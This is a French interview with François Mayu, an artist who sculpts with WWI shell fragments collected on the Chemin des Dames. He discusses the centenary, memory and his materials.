Lorsque l’on évoque certains lieux, des noms surgissent aussitôt. Au Chemin des Dames est associé le nom de François Mayu. François Mayu est un artiste à la sensibilité exceptionnelle qui réalise des sculptures avec des éclats d’obus mais, qui est également un peintre. Ses sculptures représentent des corps meurtris et ont l’allure de squelettes. Derrière l’aspect esthétique de ses œuvres, on devine une gravité, un intérêt puissant pour ce conflit meurtrier. François Mayu oscille en réalité sans cesse entre une perspective artistique à la fois intime et universelle.

Comment avez-vous vécu le centenaire ?

Le centenaire, je ne l’ai pas vécu. Je suis favorable aux commémorations pour ne pas oublier. Cependant, à titre personnel, je n’ai pas besoin du centenaire. Je fréquente depuis 15, 17 ans le Plateau. En ramenant des débris, je suis en commémoration permanente.  La mission nationale du centenaire est inutile et n’apporte rien de plus selon moi.

 

Vos œuvres sont-elles dans une volonté remémorative ou au contraire, voulez-vous en extraire ?

C’est indissociable. Ce n’est pas ma volonté première mais, elles sont indissociables du côté mémoriel. Bien que ce ne soit pas ma volonté initiale, j’apprécie que le public soit dans cette volonté remémorative.

Selon vous, est-il plus facile de rendre compte de la première guerre mondiale par le biais pictural ou par celui sculptural ?

Par la sculpture, de par les matériaux que j’utilise. Les gens manipulent ces morceaux de métaux et c’est parfois éprouvant. Certains qui sont venus dans mon atelier viennent même m’apporter ensuite des documents familiaux. Parfois, certaines personnes pleurent face à mes sculptures.

 

Pourquoi utiliser l’obus puisque ce matériel est destiné à donner la mort ? Est-ce pour une raison purement esthétique ou, n’y a-t-il pas une ironie dans cette utilisation ?

 

Il n’y a pas d’ironie. J’aime ce qui est fracturé, je ne suis pas sensible au lisse. J’ai mis 4 ans avant de me décider à utiliser l’obus.  Lorsque je ramasse des obus, je m’interroge en permanence sur sa destinée. Je suis d’ailleurs de plus en plus sélectif dans ma sélection d’éclats. Pendant un moment, j’en avais beaucoup mais les formes ne me correspondaient pas. Le côté esthétique de certains éclats est étonnant. J’ai une sensibilité pour ce qui est déchiqueté. Étonnamment, je ne me considère pas comme un artiste. Je ne sais pas ce que je suis, mais je ne m’approprie pas le terme d’artiste. Sur le terrain, lorsque je ramasse mes éclats et qu’il pleut, je me dis tu n’as pas le droit de te plaindre, pense à ceux qui étaient sous la mitraille.

Quelle est l’oeuvre qui a changé votre vie ? 

Il n’y a pas d’œuvres mais des artistes. Un des artistes est Giacometti. On ne sait pas pourquoi certains artistes vous touchent, c’est étonnant.

 

 

                   (Sous la lune rousse, éclats d’obus. Photographie de François Mayu)              

 

François Mayu, loin d’être un simple artiste, est un formidable géographe qui fouille la terre. Il est un homme qui se fait la voix de l’Histoire et qui met en lumière ce conflit. Ses sculptures à l’allure anthropomorphique interpellent les spectateurs et les bouleversent.

Elise

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